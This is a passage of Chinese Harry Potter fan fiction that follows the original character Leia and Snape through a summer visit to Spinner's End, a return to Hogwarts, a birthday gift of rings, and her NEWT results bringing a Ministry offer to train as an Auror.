这真的是他为数不多愿意告诉她的记忆,却实在是乏善可陈。甚至还没走完一条街到达镇中广场,斯内普便巧妙地转移话题。 蕾雅没有追问,一路都是安静地听着,从男人的只言片语中拾掇拼凑起他童年的样子。正如她之前说的,无论他经历过什么,那都是他的过去——那些苦难、痛楚、不幸与孤单都一同塑造过他。她悄悄地注视着如今站在她身旁的、她深爱的男人,他的手掌是那么温暖,怀抱也令她安心,而她甘愿接纳他的一切。 镇中心的广场也是这座城镇唯一的购物区。一片不算宽广的空地上停着几辆临时的餐车,售卖着热狗、三明治,或是夹着厚实烤肉的汉堡。好几个人工人装束的中年男人正排着队,不时审视般打量这对看似不属于此地的情侣。然而,斯内普的凌冽到能剜人的气场很快就让他们瑟缩回去。 进到购物商场的情况就好许多,甚至见到很多带孩子的母亲们。蕾雅按照斯内普的提示,在一家精品家具店挑选了两人的拖鞋、杯子、餐具,又到日用品店购买几样清扫用品和蜡烛之类的消耗品。最后,她择选一家简餐馆,两人吃了一顿典型又简单的英国午餐——烤面包,香肠,番茄焗豆,煎蘑菇还有黄油胡椒土豆泥,配上焗焦糖布丁和餐后咖啡。 “有件事,我想问很久了。”斯内普放下喝完的咖啡杯,拿起餐巾擦过嘴角,顺手按下结账的小铃。 “什么?”她问他,手忙着在随身包里摸出麻瓜钱包付款。不过斯内普比她更快,已从口袋抽出几张英镑,夹在账单夹里递给服务员,“不用找零了。” 推开店门时,他等她先走出去,然后顺势用手揽过她的腰,低头问:“为什么是我?” “嗯?”蕾雅微微靠向他,没能立刻理解他的意思。 “如果我没记错,那是你五年级的时候。”两人走到一处商场隐蔽的角落,他于是停住脚步,继而给她解释:“当然,我从摄神取念中也看到了,你在更早的时候就对我有……不恰当的关注。还有那瓶魔药,你说是因为写我的作业才会是那种效果,但其实是谎言。而且,魔药从来不是那样判定的。” 原来,他是在问她为何喜欢他。 “你怎么没有拆穿我?”蕾雅不好意思地摸摸鼻尖,有些心虚地扯出个淡笑。 “显然,你的教授当时确实更愿意相信谎言是真。”斯内普眼睛往她一斜,里面沉淀着些许嘲弄。 盯着他高傲直挺的鼻梁,她很突然地想到什么,兀自笑得俏皮,扑闪着眼睛试探他:“先告诉我,西弗勒斯。那不会……是你的初吻吧?” 斯内普再度瞪她一下,薄唇别扭地平成一道直线,没有说话。 好啦,一切尽在不言中。蕾雅偷笑,反正她总能看透他。 蕾雅走到他的正前方,认真地深吸一口气,抬头直勾勾地凝望眼前人的深邃眼眸,试图给予一个他会接受的答案:“其实,爸爸遇上妈妈的地方就是图书馆。所以我对图书馆有着特殊的感情。而在那里,我看见了一个与课堂上完全不同的你。” “就这样?”斯内普的语气夹杂了难以置信。 “就这样。”蕾雅话音诚恳,见他的瞳仁深处仍旧藏有几分疑惑,她抿起唇角,凑近他的耳边:“又或者,没有任何的理由。因为你本来就值得被爱,不是我也会是别人。” 斯内普一怔,旋即没有任何迟疑地握紧她的手,声音低沉坚定:“不,只会是你,蕾雅。” 对他来说,她仅是唯一,独属于他。 蕾雅莞尔一笑,踮起脚,用力抱住他。 他以幻影移形带她回到蜘蛛尾巷的家中,毫无保留地向她展示他那荒凉且冷清的居所。他已走得太久,书墙上都落满灰尘,褪色的沙发显得更破旧,壁炉上的木板间全是蛛网。 不过,他知道很快这个逼仄狭窄又陈腐的空间即将会有新的模样。因为两双崭新的拖鞋已整齐地放在玄关的位置。与之相对应的,还有她按照喜好挑选的餐具和杯具,等待清扫过后的拆封。 实际上,斯内普并不清楚她今后是否会在这里住下,但他至少愿意为她进入他的生活做出回应。而且,她日后肯定会常来。 蕾雅没有为屋内的任何东西感到吃惊,毕竟它们可都太有斯内普的风格,都是那样的简朴、古旧而又意义深远。他们进屋的第一件事是一同更换了客厅的蜡烛,新点燃的烛火有比之前更为炽白的光晕倾泻下来,落在她的头顶,和缓的粲然亦随之铺开在灰朴的空间中。 虽然在他眼里,无论何种耀眼光芒都比不过眼前这位偏执地闯入他世界的人—— 是啊,她是如此璀璨,蜘蛛尾巷可从来没有如此明亮过。 他站在门厅的位置,趁整理物件的空隙静静地看她,正如他所料,蕾雅进房之后就被那三面神秘的书墙吸引住注意力。趁她翻阅读物的期间,他用魔咒销毁了所有虫尾巴以及其他食死徒们碰过的东西。之后,两个人一起给这所不大的居所来了一次彻底清扫,终于还原出地板和沙发本来的色彩。斯内普还改变了房间的布置,腾出空间安置那张被变成双人座的沙发。 蕾雅换上新拖鞋,手捧新杯子盛装的红茶,疲倦地倒在沙发上,斯内普稳稳地接住她。她依偎在他怀里,半闭双眼感叹怎么他明明是在沙发上度过一夜,还能有如此好的精神和力气。斯内普笑了笑,体贴地为她烘干汗湿的鬓发,“休息吧,离晚饭还有点时间。”说完,他端走她手中的热茶,任她在他的肩骨间倚靠小憩。 她并没有睡多久,所以在晚餐之前,斯内普还带她去了一个特别的地方。 沿着曲折的河流一直往西南走下,过桥之后便是一座小小的教堂。只是自蜘蛛尾巷附近的工厂衰败后,居民大片迁出,教堂也因无人打理而荒废。随着天边的残阳沉降,暮色透过卷曲的晚霞坠落下来,给这栋年久欠修的建筑物镀上一层颓败又幻美的辉光,又被一侧破碎的玫瑰窗玻璃反射成陆离的斑驳。 绕过教堂,他们踩着被夕阳拉得斜长的影子,沿着风化的鹅卵石前行。拨开齐腰高的杂草,前方是一方寂寥的墓园。斯内普最终在两块较新的墓碑前停住,缓缓蹲下身,余晖在他垂落的黑发上映出同样苍凉的昏黄。 【艾琳·斯内普】【托比亚·斯内普】 蕾雅的手落在他的肩侧,陪伴他度过足够长的缅怀时刻。 “其实,这是我在她去世后第一次来。”男巫淡然地开口。 “她喜欢什么花?”蕾雅轻轻询问。 “月见草,我没记错的话。” 他话语落下的须臾,墓地的四周已悄然绽放出一圈月见草。斯内普没有感到意外,他早已预料到身边人提问后肯定会这么做。 “还没到开花的时间呢。”蕾雅收起魔杖。 “我知道,得等太阳落下。”他起身,背对着石碑面向她:“回去吧,这对我来说足够了。” 回到莱恩哈特家的时候,晚餐的准备已完成一大半。雷格纳和奥德莉亚强硬地拒绝了两人的帮忙,声称要在厨房享受二人世界。 而令斯内普确实不得不感叹的是,奥德莉亚的手艺比雷格纳还要好。 以至于后面的许多日子,斯内普在替她复习过后也经常留在莱恩哈特家吃晚餐,直到重新拎着她返校的那天。 75.狮子座 洗净的校袍和衬衫,假期中整理好的笔记、书本、琴谱和梳妆盒,最后塞入行李箱的是她床头的泰迪熊。 院子里的绣球花已然全部绽放,浅淡色的花瓣皎洁如月,落到眼眸中的深色大叶正漾出截然不同的微光。她静静地看了一阵,慢慢地回拢目光,心情怡然地扣上行李箱,站起身。这将是她最后一次返校。 雷格纳出发上班去了,所以楼下传来的只有斯内普和她母亲奥德莉亚的谈论声。在这个学校都放假的期间,斯内普已不知不觉间融入莱恩哈特家。雷格纳这几天忙着热切地与他讨论黑魔法及防御术的研究进展,而奥德莉亚也与他莫名地建立起教授间的学术联盟。 “这么说来,炼金术竟然是我们最接近魔法界的一门学科了。”奥德莉亚的声音从客厅的方向飘来。他们还在讨论昨晚晚餐后没结束的话题——是奥德莉亚学生的论文,关于英国炼金术发展史及其对现代化学的影响,“虽然我也认同炼金术的存在的确奠定了现代化学的基础,但我出乎我意料,这竟然不是一门玄学,或者说,神学。” “考虑到它后来的发展,这个结论也并非不对。”斯内普接过话说下去,语调是课堂上那种解说的严谨:“虽然早期的炼金术士中确有几位巫师,但后来参与进来的更多是真实的麻瓜。所谓的点石成金、长生不老等目标,这些都毫无疑问只能是玄学。加上神学、哲学,以及一定的政治要素,这门学科彻底变为神秘主义。” “我知道尼可·勒梅是一位巫师。”奥德莉亚笑着摆手,“虽然雷格纳不肯告诉我,但关于尼可·勒梅的目击报道真的太多了。” 斯内普随即露出一个意味深长的笑容,在不破坏保密法的同时,算是肯定她的这个说法。 “那么,赫尔墨斯主义中的占星术、神通术,在你们魔法界也是确切存在的?”奥德莉亚换了个话题,接着提问。 斯内普听闻后,快速地撇一眼正提着箱子从楼上走下来的人儿,趁机讽刺一句:“存在。她就正在学这些,虽然效果不如人意。”见她因为被嫌弃而皱起的鼻子,他愉快地抿抿嘴,依然毫不留情地揶揄:“如果她也能像你的这位学生那样对知识细致入微,我想我倒是能省心不少。” 奥德莉亚开心地笑起来,评价道:“这两父女的确都是一个样子,比起探究理论,更喜欢实用主义。确实辛苦你了,教授。” “妈妈!”蕾雅踢着拖鞋踱到两人旁边,不满地嘟哝一声,“就不说爸爸了,怎么连你也向着他了!” “因为从学术角度来说,斯内普教授的见解我非常赞同。”奥德莉亚对女儿眨了眨眼睛,同时抬手整理蕾雅的长发,并亲吻了她的额头:“好啦,亲爱的。好好享受你在学校的最后时光吧。” 斯内普也勾起唇角,虽然嘴上丝毫没有要以言语放过蕾雅的意思,但他的黑眸柔和如温阳,动作更是自然体贴地接过她的行李箱,和刚刚奥德莉亚递给他的随手礼拿在一起,“那我们先回去了。” 他穿上皮鞋,趁她拎着马丁靴在庭院系鞋带的间隙,又不紧不慢地对身后的莱恩哈特夫人补充道:“我很期待你的学生接下来的论述观点。” “要还有什么有趣的论文或者观点,我会让雷格纳给你分享。”奥德莉亚微笑回应,轻轻地拥抱蕾雅一下,之后随和地微微按了按斯内普的手臂,“有时间和她一起来我的学校参观吧,西弗勒斯。” “嗯。”黑发男巫礼貌地答复,随手搂过身边的人。不久,庭院里就只剩下了奥德莉亚和开得绚丽的绣球花丛。 因为是假期的补课,也因为留校的都是七年级的学生,所以这次学校没有要求大家必须搭乘霍格沃茨特快返校,只要在今日晚餐前到达即可。 当蕾雅拿着东西钻进格兰芬多公共休息室的时候,发现赫敏和罗恩正坐在沙发前,懒洋洋地摆放从澳洲带回来的特产。一些肉干、坚果、各种任大家挑选的手工编织吊牌,铺满了小半个茶几。 这是格兰芬多学院每逢假期结束时的惯例,大家旅途中收集的特产和伴手礼摆放在壁炉前的小桌上,任其他人自由选择或者品尝。看起来,即使现在只有不到十个的学生返校,比起将纪念品堆在寝室,赫敏和罗恩还是选择贯彻这个传统。 “蕾雅,你回来了!”赫敏见到好友的一瞬就搁下手上的东西跑过来。 “你们回来得这么早?”蕾雅牵起一个暖笑,腾出一只手接住赫敏的热情,让她那卷曲的棕发轻柔地刮擦在脖子边。蕾雅知道赫敏整个假期都过得很开心,因为就在短假开始不久,蕾雅就收到赫敏和罗恩从澳大利亚寄过来的明信片——他们顺利地找回赫敏的父母。然后,罗恩不仅和恢复记忆的格兰杰夫妇们会面,还生平第一次体验到麻瓜飞行旅程。 想到这里,蕾雅不禁想要开罗恩的玩笑,便从赫敏的发间侧过脸,望向红发韦斯莱:“飞机感觉怎么样?” “梅林的胡子!”正在从袋子里拿出最后几袋牛肉干摊开的罗恩余悸未消地抽一口气,“快别提了好吗!我再也不想经历第二次了。” “但我猜韦斯莱先生一定很感兴趣。”蕾雅继续开着玩笑。 “是啊是啊,爸爸抓着我问了个两天呢。”罗恩无奈地翻一个白眼,咂咂嘴嘟囔道:“他还说下次要一家人坐一次试试,我真后悔告诉他。” 赫敏笑得更畅快,边松开蕾雅边帮着好友将特产和伴手礼放在茶几上,随口关心:“你呢,假期怎么样?” 蕾雅长长地叹一口气,意有暗指地轻声回答:“我只想说,把教授请到自己家也不是一件好事。”怕他们没能理解她的意思,她又解释道:“我每天都几乎在学习,从来没有那么认真过!你们不知道,现在他和我爸妈站在同一阵线了。” 赫敏充满怜悯地轻轻拍打蕾雅的肩膀,“完全可以想象。” 罗恩倒是再次迅速抬头,递给蕾雅一个逗趣的眼色,刚才暗淡的红发亮起一些光:“看来斯内普还是老样子,梅林,这倒让我松了口气!” 等到几个格兰芬多的返校小狮子都到达公共休息室,他们决定趁着尚好的天气到黑湖边的树林进行野餐。 彼时正是午后,整个霍格沃茨只有七年级的学生,显得格外空旷,只有湖面上盛满了热闹醉人的金辉。山峦和禁林都在这些灼灼的暖光下融化成同一色彩,被漂浮在水面的一层蜃境般的气息隔绝出不真切。 女生们欢笑打闹,来到在茂盛葱郁的山毛榉树下铺开野餐垫,用本来打算一起讨论复习的书本压住四角。她们脱掉鞋子坐下,层层枝叶间倾泻的光斑在她们的头顶和干净的衬衫上留下斑驳的影子,显得明媚动人。 男生们从厨房的家养小精灵那里讨到两篮三明治和一些水果零食。食物被搁置在几只小狮子中间,诱人的火腿香味和被轻风推耸而来的植物芬芳一起笼罩他们。 不得不承认,假期无人的霍格沃茨城堡呈现出截然不同的魅力,只是七月末的太阳着实有些过分炽热。 没过一阵,几个人最终放弃被热气蒸腾的野餐垫,抱着食物坐到湖边。拍岸的湖水卷涌起浓郁的翠色,沁心的凉意从脚底下浸透他们。他们随意地聊起假期中的种种,以及即将到来的最后一次志愿确认。 “你们不会猜到我假期去干什么了。”哈利微微挑起眉,沾了几滴潮湿水珠的镜片后,眼瞳就像湖光一般明亮。 “你都没给我们写信,也没来陋居,金妮还念叨你呢。”罗恩咬了一口三明治,立刻被挑起好奇心。其余的几人也被哈利的话吸引,纷纷抬起头。 “我明明单独给金妮写了信啊。”哈利调皮地笑笑,倒是卖起关子,慢悠悠地掂起一颗葡萄放入口中。 “这就是有异性没人性了。”罗恩撇撇嘴,不满地夺走哈利手中的葡萄。 “哈利,别卖关子。”赫敏抗议一句,拿起旁边的水杯喝了一口,试图把话题拉回来。 哈利吞下葡萄,然后才露出一副神秘兮兮的表情,“其实我忙着跟西里斯一起回去了那个洞穴,就是放斯莱特林项链的那个。” “你回去了?”罗恩惊呼一声,“为了什么?” “斯莱特林项链的事我知道,但洞穴是什么故事?”蕾雅轻轻晃着浸在水中的小腿,歪歪脑袋,纳威、拉文德也一起投来疑惑的眼神。 哈利闲适地抹了抹嘴角,耐心对其他人解释起与邓布利多搜寻魂器的种种,赫敏和罗恩不时帮忙复述细节,尤其是在格里莫广场最终查清楚的R.A.B事件。 “也就是说,那位雷古勒斯·布莱特先生,”纳威咽下爽脆的苹果片,试图琢磨着理解这件事情的全貌,“跟斯内普一样,他一开始是个食死徒,后来决定背叛伏地魔?最后以自己的生命为代价掉换了伏地魔的魂器?” “是这样,虽然,很遗憾,他到最后也没有找到能销毁魂器的办法。”哈利低叹一声,“但我到现在,都没办法忘记他写下的那句话。”他想起当时看见那张纸条的震撼感,清了清嗓子,认真地回忆到:“——我偷走了真正的魂器,并将摧毁它。我甘愿一死,只为你在遇到命中对手那天只是凡人之躯。”(1) “梅林在上,这实在是太勇敢了。”蕾雅肩膀一抖,轻轻地感叹一句,为雷古勒斯这种孤注一掷、决绝凛然的大义感到佩服。她本来看向哈利的眼睛不自觉地转到黑湖看不清楚的尽头,日光正在那里抹开一道耀眼的烜赫。 即使现在战争已结束两个月,但那场漫长的斗争之中发生过的、无论是否为人所知的种种,仍旧会令所有获得胜利的幸存者们心有余悸。 “只是,他大概没想到,伏地魔疯狂地做了六个魂器。”罗恩若有所思地说。 “七个。”赫敏纠正她,侧了侧头,眼神暗示着坐在她另一边的黑发男孩。 蕾雅也沉默地低下头,慢慢拆开零食包装,掰开一小块饼干抛进湖中。她凝望簇拥上来的几条小鱼,继而捏碎剩下的半块饼干,轻轻地说:“所以,你跟布莱克先生回到那个洞穴,不会是为了——要找到雷古勒斯先生吧?” 哈利干脆地点了点头,“在终于知道雷古勒斯死亡真相以后,西里斯根本没法保持冷静。于是,我们和克利切一起回到了那个洞穴。” 接下来听见的整个故事是如此地令人难以置信。以至于在那日晚些时分,当她告诉斯内普这件事后,男巫脸上也写满对格兰芬多一贯鲁莽行动的震惊和不能认同。 西里斯和哈利在小精灵的帮助下幻影移形返回洞穴。他们依照当时邓布利多施下的火焰咒,和霍格沃茨之战中对付水中阴尸的办法,沿着嶙峋的岩石岸侧布置下一道道的咒语和防御术。 巨大的火焰猛猛飞腾,本应昏暗阴鸷的空间亮如白昼,骨肉被焚烧散发的臭味随即扑面。 他们花了整整三天,终于在一具具被夺去行动力的躯壳中,找回沉落冰冷湖底十九年的雷古勒斯。(2)他被葬在布莱克的家族墓地,安息长眠。 雷古勒斯,本就是是狮子座中最亮星星的名字。 而他本人的牺牲,也正如恒星陨落般壮阔无畏。 那些被压缩的能量骤然膨胀,爆炸,照亮黑暗。 亦是西里斯为了带他回家在洞穴中燃起的厉火。 …… 返校后,随着安排渐入规律,这近一月的生活逐渐呈现出一种单调的节奏。 四个学院的学生们被合并在一起上课,教授们排出临时时间表,每人负责半天的授课和答疑。 第一天的课程是斯宾教授的,差点又让他们睡过去,好在下午的黑魔法防御课模拟测试让大家活动开手脚,找回施法的兴奋手感。经过一周,情况变得好一些,大家好像都找到为考试备战的紧张状态。 每一日,蕾雅的日程就是穿行在寝室、温室、教室、礼堂、校长的卧室之间——斯拉格霍恩教授休假回归以后,斯内普干脆将修补她短板的地点改在自己卧室。 这些重复而枯燥的日子里为数不多的有趣,一定是纳威和哈利的十八岁生日,还有之后蕾雅的十九岁生日。这是格兰芬多的公共休息室在这七年来第一次有庆祝狮子座寿星的机会,毕竟这座城堡鲜少在暑假留下学生。(3) 麦格教授也亲切地加入到庆祝活动,还亲自为他们准备庆祝用的蛋糕和黄油啤酒。在她和蔼慈爱地拥抱哈利和纳威的须臾,蕾雅清晰地见到年长女巫眼角噙住的欣然泪花。 而蕾雅生日的这天,雷格纳和奥德莉亚像前年她留在霍格沃茨训练那样寄来礼物,和让她分给其他人的甜点。今年的礼物是一支笔身镶嵌碎钻的纯白钢笔,是莱恩哈特夫妇希望它能伴随她在即将到来的考试中取得顺利。 蕾雅将这只崭新的钢笔塞入口袋,从大家为她举办的小型生日派对中溜出来,一边想象父母牵着手逛街的模样,一边小跑上大理石楼梯。她来到奖杯室,掀起角落那副不起眼盔甲旁边的深褐色挂毯,拿出魔杖划出一个复杂的魔咒,穿过自动打开的砖缝,钻进通往楼上校长卧室的密道。 楼梯走到了尽头,她举着荧光闪烁的魔杖轻敲面前的墙壁,在烛火光亮和茶味芬芳一起迎接她的那一刻,便见到了等待她的男巫。 “西弗勒斯。”她扑向他的怀抱,亲昵地 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蕾雅笑着颔首,知道斯内普的严格不会因为今天是她生日的这天就松懈,毕竟离考试已经不剩几天。她坐在沙发上,乖巧地从帆布包抽出细心写好的魔法史论文,还有之前跟他一起讨论的古代魔药文章修正稿。 “文章我也改好了。”蕾雅说着,将这些羊皮纸都统统塞到她身侧的男巫手上,准备去够茶几上那个诱人的纸盒,“这是蛋糕?”她轻柔地试问。 斯内普把魔药文章随手放在茶几一角,然后掂起她的论文,淡淡地回应:“嗯,想到你大概也在休息室吃过了,如果吃不下也无所谓。”话语间,他用魔杖召唤来羽毛笔和墨水,准备添加一些批注。在她还端详着礼盒的片刻,他快速地浏览了一遍,评论起来:“这次的论文写得还不错,至少终于不是毫无意义的复述课本了。” “谢谢。”她回答,直接简洁地承认:“都是斯内普教授的功劳。” “只能说,证明你的脑袋不是榆木做的。”这句话带着斯内普一贯的讥讽语气。 早已习惯他心口不一的蕾雅当然不会在意他在表现的任何,她轻笑着伸手:“我可以拆开吗?” 斯内普漫不经心地低哼一声,眼神还停留在她的论文,忙着在一张附着的便签纸上做批注。 得到默认的蕾雅则专注于被包装精致的礼盒,泛着柔光的明红色丝带在她的指间散开,她满怀期待又小心翼翼地掀开盖子。被暗红色掩盖的后面,是一小块蛋糕,奶油被精巧地雕琢成绣球花的形状,入目都是渲染开的淡雅紫色与浅蓝。还有—— “嗯?”她愣了愣,小心地从蛋糕的旁边掂起一个小巧的、和绣球花拥有同样色系的丝绒盒子。 斯内普在这个时候从羊皮纸中抬起头,没有说话,只是侧目仔细地关注着她的一举一动,仿佛在期待她的反应一样。 这肯定是斯内普给她的礼物。 第一次。 凝视着这个小盒子,她的内心突然感到一阵彷徨,有些舍不得打开。而且还没等她的大脑可以反应,眼睛已然随着情绪泛上温热。 “怎么了?”斯内普明显没有预想到她会是这种反应,很快拧起眉毛,表现成比她更加严重的不知所措。见她用力地吸了吸鼻子,眼眶好像还带着一丝湿润,他连忙将手中的东西搁置到一边,覆上她拿着盒子的双手,“蕾雅?” “唔,没事。”蕾雅沉吟片刻,对上他的关切的瞳仁,缓缓解释:“只是有点不舍得打开。你送了我什么呀,这个尺寸的包装,不会是首饰吧?”话一出口,她的脸颊就蓦地开始滚烫,于是只能自顾自地停住话语。 斯内普这才暗暗放心下来,察觉到她的猜测,他微微扯起嘴角,低低地对她说:“你不选择打开的话,永远不会知道。” “这么神秘啊?”蕾雅被他弄得变得紧张。她又捏了捏丝绒盒子,这种材质在她的指腹上留下一阵细腻。她沿着盒子的缝隙摩挲起这种触感,稳住呼吸,随后在期待的忐忑中缓慢而又郑重地打开盒盖。 是一对戒指。款式简单,色泽纯净。 仔细观察,小的那枚内圈镌刻着英文字母“S”,而大的那枚则是“R”,除此之外没有任何过多的装饰。 “啊……”蕾雅的音调几乎是呢喃,仅仅一瞬间,方才眼中盈满的湿热感再度泛滥,“天哪,西弗勒斯你怎么会……!”话没能说完,因为她已经再次紧紧地抱住他。 这份明显经过考虑礼物完全是她出乎意料的惊喜,一想到这位在这方面毫无经验的男巫为了她走入首饰店的情形,她便后知后觉地将他抱得更紧。 “当然,这不是你想的那种含义,它们也远非那么贵重。”斯内普回应爱人的拥抱,用一只手环绕她,低沉温厚的嗓音则压在她耳畔,“只是在想,或许你想要。”他才不会承认,其实他为礼物斟酌过很久,甚至一度庆幸邓布利多在校长室留下不少可用作参考资料的时尚杂志。 “我想要的,但我没想过你会特意做这些。”蕾雅激动地在他怀中点头,心里明白斯内普字句之间的意思。 但是,无论贵重或者普通,戒指本来就只是一种单纯的象征,象征他们之间存在的深刻纽带,也是向世界宣告,他们已非一个人。 他直视眼前这双宛如清泉般凝满水色的绿眸,哑然一笑,“喜欢就好。”忍不住抬起她的下颚,给予她一个长久而温柔的吻,“生日快乐,蕾雅。”他说,同时果断地允许自己耽溺在这种给她带来惊喜的满足感中。 “我真的没想到会是这样。”蕾雅微微喘息着用手背擦过眼底,唇边是掩饰不住的幸福和悦,“谢谢你,西弗。” 那对戒指在两人的中指间停驻下来,陪伴着他们一同见证狮子座月份的一点点离开。不久之后,夏日的炎热和干燥逐渐褪去,世界幻化成了象征丰收的馥郁南瓜色。 最后的分院仪式上有数不清的南瓜装饰,与同样放出明黄温煦的魔法烛火。 最后的黑魔法防御课,布莱克教授被七年级的女学生们缠着签过许多名字。 最后的变形术和魔咒课,麦格教授和弗立维教授脸上久久停下欣喜和不舍。 最后的魔药课,斯拉格霍恩教授特地嘱咐着今后有任何困难别忘记联系他。 最后的草药学和魔法史课,蕾雅从来没有觉得他们竟然是如此有趣而深刻。 而后,所有的激情和躁动都随着夏天的结束戛然而止。仿佛在金秋从粲然丰盛的树梢头徐徐飘落的黄叶,每一片都热烈,盛大,是生命恩赐的神圣与华美,却会在消逝后留下无法弭散的厚重余音。 (4)未修订版,看作话。 76.典礼 这里的秋天太过短暂,还没回过神来,金辉璀璨的日子就在无数的枯燥论文与备考报告间悄悄溜走。 十月份的第二个星期末,在几场连绵的阴雨之后,天气已经冷到需要围上厚厚的围巾和大衣。连日的雨让草坪和树丛都褪去了颜色,苏格兰高地稍高的海拔也带来同样高傲的气候,那些从山岭间穿越而来的孤清寒气逐渐积累成团团白雾,沉降在城堡高塔之间,慢慢在高窗上凝聚成水珠,朦胧又凄冷。 但就是这样寒冷的时分,这几只格兰芬多小狮子还是执意坐在最靠近入口的庭院长廊里。此刻,这里还坐着不少其他学院的学生,因为今天是NEWTs成绩寄送的日子。 蕾雅刚刚放下施展过几道温暖咒的魔杖,哈利就给每个人都分发了一个关在玻璃罐里的火焰。(1)蕾雅接过来,暖意很快就从这捧蓝色的火一点点穿透她冻得有些僵硬的手,像道暖和的泉水流遍全身,“谢谢,好暖呀。”她感觉紧张的心情也因此舒缓一些。 “那是吗?”赫敏举起手指向校门上方的天空。那里有一大团模糊的影子,好像正在列着队,以急速靠近霍格沃茨。 “不然可说不清楚这种鬼天气怎么还会有鸟在外面飞。”罗恩和哈利相视一眼,两人迅速将火焰玻璃瓶摆在一侧,从栏杆上一跃而下,踩进庭院朝猫头鹰跑去。 还没等他们跑出几步呢,其中两只猫头鹰陡然降低高度,直接地落到两人探出的手臂上。赫敏望着他们,看起来非常紧张,直到剩下的几只猫头鹰飞进走廊,停在她们面前,她才怔愣着搁下手里的东西,颤抖着解下信封。 “怎么办怎么办,”赫敏开始不安地焦虑,按在信封开口的手指都快要扯不动封蜡,“你说,我那一道如尼文题到底是不是写错了……怎么我就是想不起来写了什么了。” “不不不,你都想了一周了赫敏。别想了,别自己吓自己。”蕾雅其实根本没比赫敏好到哪里去,她咬着的嘴唇血色正在消失。她盯着眼前的大信封,脑海中已经情不自禁地幻想起没考到目标分数的话,要怎么跟那位严厉的男巫交代——更更要紧的是,要是成绩没有满足能留下来的条件,她又该怎么办呀。 “对,别自己吓自己。”赫敏重复了一遍这个话,深呼吸一口,试图恢复平常,“会好的,我们都会考好的。” “梅林的胡子呀!”最远处的纳威突然大叫一声,激动得让怀中的玻璃瓶骨碌碌地滚落下去,只幸好来陪大家看成绩的金妮眼疾手快,使了个漂浮咒。 “小心点,纳威。”金妮白了男孩一眼,随后凑过头,“干嘛这么兴奋?让我看看?——哦,你魔药学竟然获得了E啊?确实是该激动一下。” “可不是嘛!可不是嘛!谢谢蕾雅!谢谢斯内普!”纳威兴奋地抱住那封羊皮纸,一股脑抓起浮在空中的玻璃瓶塞给金妮,猛地转过身:“我得,我得去告诉斯普劳特教授!现在就去!”说完,他飞快地跑进长廊消失了。 “他说什么?谢谢斯内普?”金妮后知后觉地震惊感叹,罗恩和哈利也在不远处惊呼一声,回过神来后两人都哈哈大笑。 从两个男孩脸上的惊喜表情来判断,应该也是无惊无险地获得了好成绩。 “谢天谢地!”赫敏也长长地松了一口气,罗恩跑到赫敏面前,两个人笑着交换成绩单。不过赫敏没有立刻就查看罗恩的成绩,而是侧过脸来看向身边的黑发女孩:“蕾雅,你怎么样?” “嗯……”蕾雅还在踌躇,刚刚扯开封蜡之后又停住动作。她做了十个心理准备,也还是没能抽出成绩单,好像信封中会有什么骇人惊悚的怪物弹出来一样。 就在赫敏马上要伸手帮她扯出来的须臾间,长廊靠近塔楼的一侧忽然传来一阵嗒嗒的急促脚步。几只小狮子闻声抬头,只见麦格教授神色欣喜地踩着轻快步子从阴影中走了出来,暗绿色的拖地长裙摆伴随她的动作摇曳。 “麦格教授。”小狮子们齐声致意。 “你们好,看来考得都不错,是吗?”麦格教授笑逐颜开,愉快地点点头。随后便转向还紧握着信封的蕾雅,“蕾雅,跟我来一下好吗?” “好的。”蕾雅略显困惑地看了看关切的赫敏,又看了看其他人,不敢有过多犹豫,抱起玻璃瓶火焰和信封跳下栏杆,跟上已经转过身的麦格。 “教授,发生什么事了吗?”拐进城堡,蕾雅开口询问,一时半会儿还担心是不是自己考得太差,但麦格的表情不像是这种情况。当麦格领着她走向楼顶的校长室,她更疑惑了。 “魔法部的人来了。”麦格说话的音调也因为喜色而稍高。她转过头,朝女孩眨了眨眼:“显然,你的成绩出乎了所有人的意料。” 蕾雅错愕一瞬,惊叹一句:“啊?成绩?我还没看呢!”她边踩上楼梯边急忙抽出成绩单。 抽出来的第一行成绩,是黑魔法防御课,是一个Outstanding。 她心里送一口气,一步跨上三个楼梯。 抽出来的第二行成绩,是魔药学,也是一个Outstanding。 …… 啊——梅林。一共7个科目,她竟然拿到5个O。魔法史学竟然在斯内普不留余力的严格补课下获得一个E,最薄弱的草药学也至少达到A。这下,留在霍格沃茨是不成问题了。 “梅林——”蕾雅如释重负,抹了抹微凉的鼻尖,愉悦地小跑到麦格教授的身边,“可是,为什么魔法部的人要来呢?” 她们已经来到滴水兽雕像的前方,麦格轻声笑着说:“上去你就知道了。——非洲树蛇皮。”这真是极具斯内普风格的校长室口令,蕾雅没来由地感慨起来。 校长室的沙发上正坐着两个穿着职业套装的陌生人,一男一女。听见开门声片刻,便都齐齐地转头,目光划一地投向这位格兰芬多学生。 斯内普坐在办公桌后面,仍在忙碌地写着什么文件,没有立即就关注她。 “我把她带过来了,校长。”麦格开口。 “嗯,你先去忙吧。”斯内普向苏格兰女巫微微颔首,“成绩公布后,想必有许多学生会需要你的建议。” “好,那她交给你了。”麦格意味深长地望了斯内普一眼,转身的时候顺带掠过蕾雅,之后就微笑地拢上校长室的木门。 “坐吧,莱恩哈特。”斯内普从文件中抬头,以眼神暗示一下两位陌生人的对侧位置。他稳妥地卷起羊皮纸,放下羽毛笔,也在这时起身。在注意到她怀抱的火焰后,他随手升起一角的壁炉,而后大步走到沙发的远端坐下。 “啊,嗯。”蕾雅木然地紧盯着石壁炉中慢慢窜起的火苗,缓步踱过去,在男巫身侧落座,顺手将玻璃瓶安置在沙发一旁。 “这是现在的学生间流行的吗?”那位女士饶有兴致地指了指蕾雅手侧的蓝火,脸色亲切友好:“好可爱。” 蕾雅抬起头看向她,立即察觉到这位中年巫师大概是一位傲罗。因为她身上散发的气场太过威严凛然,动作也过于利落,而盘得仔仔细细的一头亚麻发正显示这是她的工作习惯,“嗯,刚刚我们在外面等成绩单呢。……请问您是?”她大胆地问。 “两位是魔法部副部长阿奇博尔德·皮克林先生,和傲罗办公室主任米利森特·斯威克女士。”斯内普的介绍毫无感情。 “两位好?”蕾雅恭敬地问好。 “你好,莱恩哈特小姐。”皮克林副部长先说话,斯威克还在和蔼地观察蕾雅,“我跟莱恩哈特先生是老相识了,尽管我们的直接接触不多,因为我并不负责神秘司。这次事情匆忙,我没来得及告诉他。不过,我今早已经征询过沙克尔部长了。” 这种正式的官腔听到这里,蕾雅盘踞心中的疑惑越发沉淀深厚,“啊……那么你们为什么找我呢?”她小心翼翼地接着问。 “是这样,我们觉得你的NEWTs成绩十分优异,非常适合担任傲罗。”斯威克用温和的声音娓娓道,“因此,我们这次来是想请你考虑一下这个就业选项。” 